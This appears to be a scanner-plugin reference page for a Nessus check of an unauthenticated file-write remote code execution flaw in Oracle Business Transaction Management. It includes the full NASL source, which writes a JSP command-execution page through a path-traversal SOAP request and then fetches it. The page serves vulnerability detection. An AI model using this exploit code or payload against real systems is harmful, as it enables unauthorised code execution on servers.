Oracle Business Transaction Management 'FlashTunnelService' 'WriteToFile' Message RCE - Nessus

Critical   Plugin ID: 78776

This page contains detailed information about the Oracle Business Transaction Management 'FlashTunnelService' 'WriteToFile' Message RCE Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 78776
Name: Oracle Business Transaction Management 'FlashTunnelService' 'WriteToFile' Message RCE
Filename: oracle_business_transaction_management_file_write.nasl
Vulnerability Published: 2013-11-18
This Plugin Published: 2014-10-31
Last Modification Time: 2021-02-03
Plugin Version: 1.7
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: oracle_business_transaction_management_detect.nbin, os_fingerprint.nasl
Required KB Items [?]: installed_sw/Oracle Business Transaction Management

Vulnerability Information


Severity: Critical
Vulnerability Published: 2013-11-18
Patch Published: N/A
CVE [?]: N/A
CPE [?]: cpe:/a:oracle:business_transaction_management

Synopsis

The remote web server hosts a Java web application that is affected by a remote code execution vulnerability.

Description

The remote web server is hosting a version of Oracle Business Transaction Management that is affected by a remote code execution vulnerability. The 'FlashTunnelService' web service does not require authentication and exposes the 'WriteToFile' function, which can allow a remote, unauthenticated attacker to write an arbitrary file containing arbitrary code to the remote host.

Note that the 'deleteFile' function is also exposed and can be used to delete arbitrary files; however, Nessus has not tested for this issue.

Solution

Unknown at this time.

Public Exploits


Target Network Port(s): 7001
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, ExploitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Oracle Business Transaction Management 'FlashTunnelService' 'WriteToFile' Message RCE vulnerability:

  1. Metasploit: exploit/windows/http/oracle_btm_writetofile
    [Oracle Business Transaction Management FlashTunnelService Remote Code Execution]
  2. Exploit-DB: exploits/windows/remote/20318.txt
    [EDB-20318: Oracle Business Transaction Management Server 12.1.0.2.7 - FlashTunnelService WriteToFile Message Remote Code Execution]
  3. ExploitHub: EH-12-529

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: Manual
CVSS Score Rationale: Score based on analysis of the vulnerability.
CVSS V2 Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:ND
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:9.5 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.5 (High)

Go back to menu.

Plugin Source


This is the oracle_business_transaction_management_file_write.nasl nessus plugin source code. This script is Copyright (C) 2014-2021 Tenable Network Security, Inc.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(78776);
  script_version("1.7");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/02/03");

  script_bugtraq_id(54839);
  script_xref(name:"EDB-ID", value:"20318");

  script_name(english:"Oracle Business Transaction Management 'FlashTunnelService' 'WriteToFile' Message RCE");
  script_summary(english:"Creates a file to execute arbitrary code.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a Java web application that is affected by
a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web server is hosting a version of Oracle Business
Transaction Management that is affected by a remote code execution
vulnerability. The 'FlashTunnelService' web service does not require
authentication and exposes the 'WriteToFile' function, which can allow
a remote, unauthenticated attacker to write an arbitrary file
containing arbitrary code to the remote host.

Note that the 'deleteFile' function is also exposed and can be used to
delete arbitrary files; however, Nessus has not tested for this issue.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/523800");
  script_set_attribute(attribute:"solution", value:"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_attribute(attribute:"cvss_score_source", value:"manual");
  script_set_attribute(attribute:"cvss_score_rationale", value:"Score based on analysis of the vulnerability.");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploithub_sku", value:"EH-12-529");
  script_set_attribute(attribute:"exploit_framework_exploithub", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Oracle Business Transaction Management FlashTunnelService Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/11/18");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/10/31");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:business_transaction_management");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2021 Tenable Network Security, Inc.");

  script_dependencies("oracle_business_transaction_management_detect.nbin", "os_fingerprint.nasl");
  script_require_ports("Services/www", 7001);
  script_require_keys("installed_sw/Oracle Business Transaction Management");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = 'Oracle Business Transaction Management';
port = get_http_port(default:7001);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install["path"];
install_url = build_url(port:port, qs:dir);

if (report_paranoia < 2)
{
  os = get_kb_item_or_exit("Host/OS");
  if ("Windows" >!< os) audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);
}

# Payload to use in our uploaded file
attack_payload =
  '&lt;%@ page import=&quot;java.io.*&quot; %&gt;\n' +
  '&lt;%\n' +
  'String output = &quot;&quot;;\n' +
  'String s = null;\n' +
  '  try {\n' +
  '     Process p = Runtime.getRuntime().exec(&quot;cmd.exe /C ipconfig /all' +
  '&quot;);\n' +
  '     BufferedReader sI = new BufferedReader(new InputStreamReader(p.get' +
  'InputStream()));\n' +
  '       while((s = sI.readLine()) != null) {\n' +
  '         output += s + "\\n";\n' +
  '       }\n' +
  '    }\n' +
  '    catch(IOException e) {\n' +
  '       e.printStackTrace();\n' +
  '    }\n' +
  '%&gt;\n' +
  '&lt;%=output %&gt;';

traversal =  '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\';
dir_paths = make_list('weblogic92', 'wlserver_10.0', 'wlserver_10.3', 'wlserver_12.1');
paths = make_list(
  '\\server\\lib\\consoleapp\\webapp\\images\\',
  '\\samples\\server\\examples\\build\\mainWebApp\\'
);

headers = make_array(
  "Content-Type", "text/xml;charset=UTF-8",
  "SOAPAction", '"http://soa.amberpoint.com/writeToFile"'
);

vuln = FALSE;
time = unixtime();
upfile = SCRIPT_NAME - ".nasl" + "-";

foreach dir_path (dir_paths)
{
  foreach path (paths)
  {
    file = upfile + time;
    attack_path = traversal + dir_path + path + file + ".jsp";

    postdata =
      '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/' +
      'envelope/"'+
      ' xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" ' +
      'xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">\n' +
      ' <soapenv:Header/>\n' +
      ' <soapenv:Body>\n' +
      '    <int:writeToFileRequest>\n' +
      '       <int:writeToFile handle="' + attack_path + '">\n' +
      '          <!--Zero or more repetitions:-->\n' +
      '          <typ:text>' + attack_payload + '\n' +
      '          </typ:text>\n' +
      '          <!--Optional:-->\n' +
      '          <typ:WriteToFileRequestVersion>\n' +
      '             <!--You may enter ANY elements at this point-->\n' +
      '          </typ:WriteToFileRequestVersion>\n' +
      '       </int:writeToFile>\n' +
      '    </int:writeToFileRequest>\n' +
      ' </soapenv:Body>\n' +
      '</soapenv:Envelope>';

    res = http_send_recv3(
      port         : port,
      method       : "POST",
      item         : "/btmui/soa/flash_svc/",
      data         : postdata,
      add_headers  : headers,
      exit_on_fail : TRUE
    );
    exp_request = http_last_sent_request();

    if ("pfx2:WriteToFileResponse" >< res[2])
    {
      if ("build\mainWebApp" >< attack_path)
        url = "/" + file + ".jsp";
      else
        url = "/console/images/" + file + ".jsp";

      # Try and access our uploaded file
      res2 = http_send_recv3(
        method : "GET",
        port   : port,
        item   : url,
        exit_on_fail : TRUE
      );
      if ("Subnet Mask" >< res2[2])
      {
        vuln = TRUE;
        verify_request = install_url - "/btmui" + url;
        # Format output for reporting
        output = substr(res2[2], stridx(res2[2], "Windows IP Config"));
        if (empty_or_null(output)) output = res2[2];
        break;
      }
    }
    time +=1;
  }
  if (vuln) break;
  time +=1;
}
if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  cmd        : "ipconfig /all",
  line_limit : 11,
  request    : make_list(exp_request, verify_request),
  output     : chomp(output),
  rep_extra  : '\n'+'Note : The file created by this plugin has not been removed by Nessus' +
               '\n'+'and will need to be manually removed.'
);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/oracle_business_transaction_management_file_write.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\oracle_business_transaction_management_file_write.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/oracle_business_transaction_management_file_write.nasl

Go back to menu.

How to Run


Here is how to run the Oracle Business Transaction Management 'FlashTunnelService' 'WriteToFile' Message RCE as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Oracle Business Transaction Management 'FlashTunnelService' 'WriteToFile' Message RCE plugin ID 78776.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl oracle_business_transaction_management_file_write.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a oracle_business_transaction_management_file_write.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - oracle_business_transaction_management_file_write.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state oracle_business_transaction_management_file_write.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 148918 - Oracle Primavera Unifier (Apr 2021 CPU)
  • 151973 - Oracle Primavera Unifier (Jul 2021 CPU)
  • 151974 - Oracle Primavera Gateway (Jul 2021 CPU)
  • 154262 - Oracle Primavera Unifier (Oct 2021 CPU)
  • 154297 - Oracle Primavera Gateway (Oct 2021 CPU)
  • 156832 - Oracle Primavera Unifier (Jan 2022 CPU)
  • 156891 - Oracle Primavera P6 Enterprise Project Portfolio Management (Jan 2022 CPU)
  • 156893 - Oracle Primavera Gateway (Jan 2022 CPU)
  • 159919 - Oracle Primavera Unifier (Apr 2022 CPU)
  • 35363 - Oracle Secure Backup Administration Server login.php Arbitrary Command Injection
  • 47747 - Oracle Secure Backup Administration Server login.php Authentication Bypass
  • 69478 - Oracle WebCenter Content (April 2013 CPU)
  • 69479 - Oracle WebCenter Content (July 2013 CPU)
  • 73119 - Oracle Reports Servlet Remote File Access
  • 73120 - Oracle Reports Servlet Parsequery Function Remote Database Credentials Exposure
  • 78603 - Oracle Endeca Information Discovery Studio Multiple Vulnerabilities (October 2014 CPU)
  • 78749 - Oracle Enterprise Data Quality Multiple Vulnerabilities (October 2014 CPU)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file oracle_business_transaction_management_file_write.nasl version 1.7. For more plugins, visit the Nessus Plugin Library.

Go back to menu.